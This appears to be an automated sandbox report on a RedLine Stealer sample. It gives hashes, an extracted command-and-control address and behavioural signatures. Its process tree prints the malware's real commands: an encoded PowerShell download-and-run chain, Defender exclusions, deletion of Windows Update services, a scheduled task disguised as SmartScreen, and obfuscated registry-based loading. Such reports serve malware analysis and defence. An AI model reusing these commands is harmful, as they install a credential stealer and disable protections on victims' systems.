Analysis
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max time kernel
190s -
max time network
186s -
platform
windows7_x64 -
resource
win7-20221111-en -
resource tags
arch:x64arch:x86image:win7-20221111-enlocale:en-usos:windows7-x64system -
submitted
16/01/2023, 13:20
Static task
static1
Behavioral task
behavioral1
Sample
77d29818be0d01c38545baa0bd4551c6853c224b.exe
Resource
win7-20221111-en
Behavioral task
behavioral2
Sample
77d29818be0d01c38545baa0bd4551c6853c224b.exe
Resource
win10v2004-20220901-en
General
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Target
77d29818be0d01c38545baa0bd4551c6853c224b.exe
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Size
365KB
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MD5
343adbd49e24d1bdec30f634f4055da8
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SHA1
77d29818be0d01c38545baa0bd4551c6853c224b
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SHA256
404c51dbba49787d8c3d9cde78efc1a5eb0d9f139c0c6b130438870a0ecc244c
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SHA512
4c6831539aef807c7cb4875306e5fecc06b769924e0a1f80a5316f194a5235ec9e904c932b3ec4021e7ef2237bc2dba3db47a8a1cb20244c67c9fa1e6d88298f
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SSDEEP
6144:SVjDF2Bp0G3LkjLsvBrL0+ecB4X0Y37cWI+HLq11aWBLXAO1DAjWbc:SRDF2BpjLQLsvBP0+ecyEY37C8P
Malware Config
Extracted
redline
1
107.182.129.73:21733
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auth_value
3a5bb0917495b4312d052a0b8977d2bb
Signatures
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Modifies security service 2 TTPs 2 IoCs
description ioc Process Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Security reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Parameters reg.exe -
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
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RedLine payload 4 IoCs
resource yara_rule behavioral1/memory/1784-79-0x0000000000360000-0x0000000000380000-memory.dmp family_redline behavioral1/memory/1784-85-0x0000000000360000-0x0000000000380000-memory.dmp family_redline behavioral1/memory/1784-84-0x000000000037ADAE-mapping.dmp family_redline behavioral1/memory/1784-87-0x0000000000360000-0x0000000000380000-memory.dmp family_redline -
Suspicious use of NtCreateUserProcessOtherParentProcess 4 IoCs
description pid Process procid_target PID 2008 created 1188 2008 SmartDefRun.exe 14 PID 2008 created 1188 2008 SmartDefRun.exe 14 PID 2008 created 1188 2008 SmartDefRun.exe 14 PID 2008 created 1188 2008 SmartDefRun.exe 14 -
Blocklisted process makes network request 2 IoCs
flow pid Process 5 860 powershell.exe 8 860 powershell.exe -
Downloads MZ/PE file
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Drops file in Drivers directory 1 IoCs
description ioc Process File created C:\Windows\System32\drivers\etc\hosts SmartDefRun.exe -
Executes dropped EXE 3 IoCs
pid Process 692 new2.exe 1324 SysApp.exe 2008 SmartDefRun.exe -
Stops running service(s) 3 TTPs
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Loads dropped DLL 7 IoCs
pid Process 860 powershell.exe 860 powershell.exe 860 powershell.exe 932 WerFault.exe 932 WerFault.exe 932 WerFault.exe 860 powershell.exe -
Uses the VBS compiler for execution 1 TTPs
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Drops file in System32 directory 2 IoCs
description ioc Process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 3 IoCs
description pid Process procid_target PID 2028 set thread context of 1092 2028 77d29818be0d01c38545baa0bd4551c6853c224b.exe 30 PID 692 set thread context of 1784 692 new2.exe 37 PID 2008 set thread context of 996 2008 SmartDefRun.exe 57 -
Drops file in Program Files directory 1 IoCs
description ioc Process File created C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe SmartDefRun.exe -
Launches sc.exe 5 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 1688 sc.exe 1016 sc.exe 1104 sc.exe 792 sc.exe 1856 sc.exe -
Program crash 2 IoCs
pid pid_target Process procid_target 1908 2028 WerFault.exe 23 932 692 WerFault.exe 34 -
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 1836 schtasks.exe -
Modifies data under HKEY_USERS 2 IoCs
description ioc Process Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = f0ab5ebfbe29d901 powershell.EXE Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.EXE -
Suspicious behavior: EnumeratesProcesses 23 IoCs
pid Process 860 powershell.exe 860 powershell.exe 860 powershell.exe 860 powershell.exe 860 powershell.exe 860 powershell.exe 860 powershell.exe 2008 SmartDefRun.exe 2008 SmartDefRun.exe 1324 SysApp.exe 1324 SysApp.exe 1324 SysApp.exe 1324 SysApp.exe 1324 SysApp.exe 1308 powershell.exe 2008 SmartDefRun.exe 2008 SmartDefRun.exe 2008 SmartDefRun.exe 2008 SmartDefRun.exe 972 powershell.exe 2008 SmartDefRun.exe 2008 SmartDefRun.exe 1784 vbc.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
description pid Process Token: SeDebugPrivilege 860 powershell.exe Token: SeDebugPrivilege 1308 powershell.exe Token: SeDebugPrivilege 972 powershell.exe Token: SeDebugPrivilege 1784 vbc.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2028 wrote to memory of 996 2028 77d29818be0d01c38545baa0bd4551c6853c224b.exe 29 PID 2028 wrote to memory of 996 2028 77d29818be0d01c38545baa0bd4551c6853c224b.exe 29 PID 2028 wrote to memory of 996 2028 77d29818be0d01c38545baa0bd4551c6853c224b.exe 29 PID 2028 wrote to memory of 996 2028 77d29818be0d01c38545baa0bd4551c6853c224b.exe 29 PID 2028 wrote to memory of 1092 2028 77d29818be0d01c38545baa0bd4551c6853c224b.exe 30 PID 2028 wrote to memory of 1092 2028 77d29818be0d01c38545baa0bd4551c6853c224b.exe 30 PID 2028 wrote to memory of 1092 2028 77d29818be0d01c38545baa0bd4551c6853c224b.exe 30 PID 2028 wrote to memory of 1092 2028 77d29818be0d01c38545baa0bd4551c6853c224b.exe 30 PID 2028 wrote to memory of 1092 2028 77d29818be0d01c38545baa0bd4551c6853c224b.exe 30 PID 2028 wrote to memory of 1092 2028 77d29818be0d01c38545baa0bd4551c6853c224b.exe 30 PID 2028 wrote to memory of 1908 2028 77d29818be0d01c38545baa0bd4551c6853c224b.exe 31 PID 2028 wrote to memory of 1908 2028 77d29818be0d01c38545baa0bd4551c6853c224b.exe 31 PID 2028 wrote to memory of 1908 2028 77d29818be0d01c38545baa0bd4551c6853c224b.exe 31 PID 2028 wrote to memory of 1908 2028 77d29818be0d01c38545baa0bd4551c6853c224b.exe 31 PID 1092 wrote to memory of 860 1092 vbc.exe 32 PID 1092 wrote to memory of 860 1092 vbc.exe 32 PID 1092 wrote to memory of 860 1092 vbc.exe 32 PID 1092 wrote to memory of 860 1092 vbc.exe 32 PID 860 wrote to memory of 692 860 powershell.exe 34 PID 860 wrote to memory of 692 860 powershell.exe 34 PID 860 wrote to memory of 692 860 powershell.exe 34 PID 860 wrote to memory of 692 860 powershell.exe 34 PID 860 wrote to memory of 1324 860 powershell.exe 36 PID 860 wrote to memory of 1324 860 powershell.exe 36 PID 860 wrote to memory of 1324 860 powershell.exe 36 PID 860 wrote to memory of 1324 860 powershell.exe 36 PID 692 wrote to memory of 1784 692 new2.exe 37 PID 692 wrote to memory of 1784 692 new2.exe 37 PID 692 wrote to memory of 1784 692 new2.exe 37 PID 692 wrote to memory of 1784 692 new2.exe 37 PID 692 wrote to memory of 1784 692 new2.exe 37 PID 692 wrote to memory of 1784 692 new2.exe 37 PID 692 wrote to memory of 932 692 new2.exe 38 PID 692 wrote to memory of 932 692 new2.exe 38 PID 692 wrote to memory of 932 692 new2.exe 38 PID 692 wrote to memory of 932 692 new2.exe 38 PID 860 wrote to memory of 2008 860 powershell.exe 39 PID 860 wrote to memory of 2008 860 powershell.exe 39 PID 860 wrote to memory of 2008 860 powershell.exe 39 PID 860 wrote to memory of 2008 860 powershell.exe 39 PID 1844 wrote to memory of 1688 1844 cmd.exe 46 PID 1844 wrote to memory of 1688 1844 cmd.exe 46 PID 1844 wrote to memory of 1688 1844 cmd.exe 46 PID 1844 wrote to memory of 1016 1844 cmd.exe 47 PID 1844 wrote to memory of 1016 1844 cmd.exe 47 PID 1844 wrote to memory of 1016 1844 cmd.exe 47 PID 1844 wrote to memory of 1104 1844 cmd.exe 48 PID 1844 wrote to memory of 1104 1844 cmd.exe 48 PID 1844 wrote to memory of 1104 1844 cmd.exe 48 PID 972 wrote to memory of 1836 972 powershell.exe 49 PID 972 wrote to memory of 1836 972 powershell.exe 49 PID 972 wrote to memory of 1836 972 powershell.exe 49 PID 1844 wrote to memory of 792 1844 cmd.exe 50 PID 1844 wrote to memory of 792 1844 cmd.exe 50 PID 1844 wrote to memory of 792 1844 cmd.exe 50 PID 1844 wrote to memory of 1856 1844 cmd.exe 51 PID 1844 wrote to memory of 1856 1844 cmd.exe 51 PID 1844 wrote to memory of 1856 1844 cmd.exe 51 PID 1844 wrote to memory of 1548 1844 cmd.exe 52 PID 1844 wrote to memory of 1548 1844 cmd.exe 52 PID 1844 wrote to memory of 1548 1844 cmd.exe 52 PID 1844 wrote to memory of 1352 1844 cmd.exe 53 PID 1844 wrote to memory of 1352 1844 cmd.exe 53 PID 1844 wrote to memory of 1352 1844 cmd.exe 53
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:1188
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C:\Users\Admin\AppData\Local\Temp\77d29818be0d01c38545baa0bd4551c6853c224b.exe"C:\Users\Admin\AppData\Local\Temp\77d29818be0d01c38545baa0bd4551c6853c224b.exe"2⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:2028 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"3⤵PID:996
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"3⤵
- Suspicious use of WriteProcessMemory
PID:1092 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdABhACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYwBqAHIAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAegBjAHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYgB4AHoAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcALAAgADwAIwBhAGEAYQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGMAZAB6ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGwAcwBqACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcAKQApADwAIwB3AGQAcwAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBuAGUAdwAyAC4AZQB4AGUAJwAsACAAPAAjAGoAYgBxACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcQB6AGEAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAYwBlAGMAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQApADwAIwBtAGIAegAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBTAHkAcwBBAHAAcAAuAGUAeABlACcALAAgADwAIwBqAHcAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGYAcQB0ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHcAYgBhACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApACkAPAAjAHUAYQB3ACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcALAAgADwAIwBoAGkAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHQAcAB2ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHQAcgBzACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcAKQApADwAIwBqAGwAcAAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBkAGMAcgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAZAB3AHAAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwApADwAIwBoAHgAZwAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBwAGcAeQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAbQBkAGYAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQA8ACMAdgBoAGUAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAZQBxAHkAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGoAbABkACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApADwAIwB5AGkAbQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBjAGEAZQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAcABrAGoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUwBtAGEAcgB0AEQAZQBmAFIAdQBuAC4AZQB4AGUAJwApADwAIwBoAGYAZAAjAD4A"4⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:860 -
C:\Users\Admin\AppData\Local\Temp\new2.exe"C:\Users\Admin\AppData\Local\Temp\new2.exe"5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:692 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1784
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 692 -s 366⤵
- Loads dropped DLL
- Program crash
PID:932
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C:\Users\Admin\AppData\Local\Temp\SysApp.exe"C:\Users\Admin\AppData\Local\Temp\SysApp.exe"5⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:1324
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C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"5⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:2008
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2028 -s 363⤵
- Program crash
PID:1908
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1308
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f2⤵
- Suspicious use of WriteProcessMemory
PID:1844 -
C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
PID:1688
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C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
PID:1016
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C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
PID:1104
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C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
PID:792
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C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
PID:1856
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f3⤵PID:1548
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f3⤵PID:1352
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f3⤵
- Modifies security service
PID:1692
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f3⤵PID:1988
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f3⤵PID:1972
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#thpqznhs#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'WindowsDefenderSmartScreenQC' /tr '''C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'WindowsDefenderSmartScreenQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderSmartScreenQC" /t REG_SZ /f /d 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:972 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn WindowsDefenderSmartScreenQC /tr "'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe'"3⤵
- Creates scheduled task(s)
PID:1836
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C:\Windows\System32\dialer.exeC:\Windows\System32\dialer.exe2⤵PID:996
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C:\Windows\system32\taskeng.exetaskeng.exe {DFF4401D-5811-4B7E-8ED7-9E54794B6366} S-1-5-18:NT AUTHORITY\System:Service:1⤵PID:1772
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE "[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+'F'+[Char](84)+''+[Char](87)+''+[Char](65)+'R'+[Char](69)+'').GetValue(''+[Char](100)+'i'+[Char](97)+'l'+[Char](101)+''+[Char](114)+''+[Char](115)+'t'+[Char](97)+'g'+[Char](101)+'r')).EntryPoint.Invoke($Null,$Null)2⤵
- Modifies data under HKEY_USERS
PID:900
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('SOF'+[Char](84)+''+[Char](87)+'A'+'R'+'E').GetValue(''+[Char](100)+''+[Char](105)+''+[Char](97)+''+'l'+''+[Char](101)+''+[Char](114)+''+'s'+''+[Char](116)+''+[Char](97)+''+'g'+''+'e'+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)2⤵PID:1764
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Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
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Filesize
3.7MB
MD5f5c51e7760315ad0f0238d268c03c60e
SHA185ebaaa9685634143a72bc82c6e7df87a78eed4c
SHA256ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa
SHA512d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35
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Filesize
3.7MB
MD5f5c51e7760315ad0f0238d268c03c60e
SHA185ebaaa9685634143a72bc82c6e7df87a78eed4c
SHA256ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa
SHA512d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35
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Filesize
1.4MB
MD5b6bbab9f72c88d07b484cc339c475e75
SHA1f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1
SHA256dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
SHA5121ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5
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Filesize
464KB
MD5990c8e3fc56a2734631b51fc61a6779a
SHA155a16cc67fc52cdf0690387e083955048106d48a
SHA256d80ce10659442d8e5b9c28e53bf254711881cf9502f52aeb8abf4a15c9e6e36e
SHA512f5332bcae3242d86a58adf01069c425f5b22bdda9045200fb5b3d9ab3e983d94af8462a04e148b7164e8d6122ec2d198d18081850e00175bb257c0ddb3defdc5
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize7KB
MD52628b8a8be7c1a90c12cf89364ebef84
SHA1bb5c17c7f7abf04c84c3235615adc74ad3df976c
SHA2562aa4f801076a7d8146a50232f834d3fb3e91ca39b73111c84a86b1526eb312c7
SHA51267a34a1940a9541bc613696f5bdf06d5b34f12adb04e5fbdd399ac14f904b65cfc261141e10b02d1f925ebf10633197d80639278dd35534ac92aa9410215b4db
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Filesize
3.7MB
MD5f5c51e7760315ad0f0238d268c03c60e
SHA185ebaaa9685634143a72bc82c6e7df87a78eed4c
SHA256ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa
SHA512d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35
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Filesize
1.4MB
MD5b6bbab9f72c88d07b484cc339c475e75
SHA1f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1
SHA256dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
SHA5121ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5
-
Filesize
1.4MB
MD5b6bbab9f72c88d07b484cc339c475e75
SHA1f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1
SHA256dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
SHA5121ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5
-
Filesize
464KB
MD5990c8e3fc56a2734631b51fc61a6779a
SHA155a16cc67fc52cdf0690387e083955048106d48a
SHA256d80ce10659442d8e5b9c28e53bf254711881cf9502f52aeb8abf4a15c9e6e36e
SHA512f5332bcae3242d86a58adf01069c425f5b22bdda9045200fb5b3d9ab3e983d94af8462a04e148b7164e8d6122ec2d198d18081850e00175bb257c0ddb3defdc5
-
Filesize
464KB
MD5990c8e3fc56a2734631b51fc61a6779a
SHA155a16cc67fc52cdf0690387e083955048106d48a
SHA256d80ce10659442d8e5b9c28e53bf254711881cf9502f52aeb8abf4a15c9e6e36e
SHA512f5332bcae3242d86a58adf01069c425f5b22bdda9045200fb5b3d9ab3e983d94af8462a04e148b7164e8d6122ec2d198d18081850e00175bb257c0ddb3defdc5
-
Filesize
464KB
MD5990c8e3fc56a2734631b51fc61a6779a
SHA155a16cc67fc52cdf0690387e083955048106d48a
SHA256d80ce10659442d8e5b9c28e53bf254711881cf9502f52aeb8abf4a15c9e6e36e
SHA512f5332bcae3242d86a58adf01069c425f5b22bdda9045200fb5b3d9ab3e983d94af8462a04e148b7164e8d6122ec2d198d18081850e00175bb257c0ddb3defdc5
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Filesize
464KB
MD5990c8e3fc56a2734631b51fc61a6779a
SHA155a16cc67fc52cdf0690387e083955048106d48a
SHA256d80ce10659442d8e5b9c28e53bf254711881cf9502f52aeb8abf4a15c9e6e36e
SHA512f5332bcae3242d86a58adf01069c425f5b22bdda9045200fb5b3d9ab3e983d94af8462a04e148b7164e8d6122ec2d198d18081850e00175bb257c0ddb3defdc5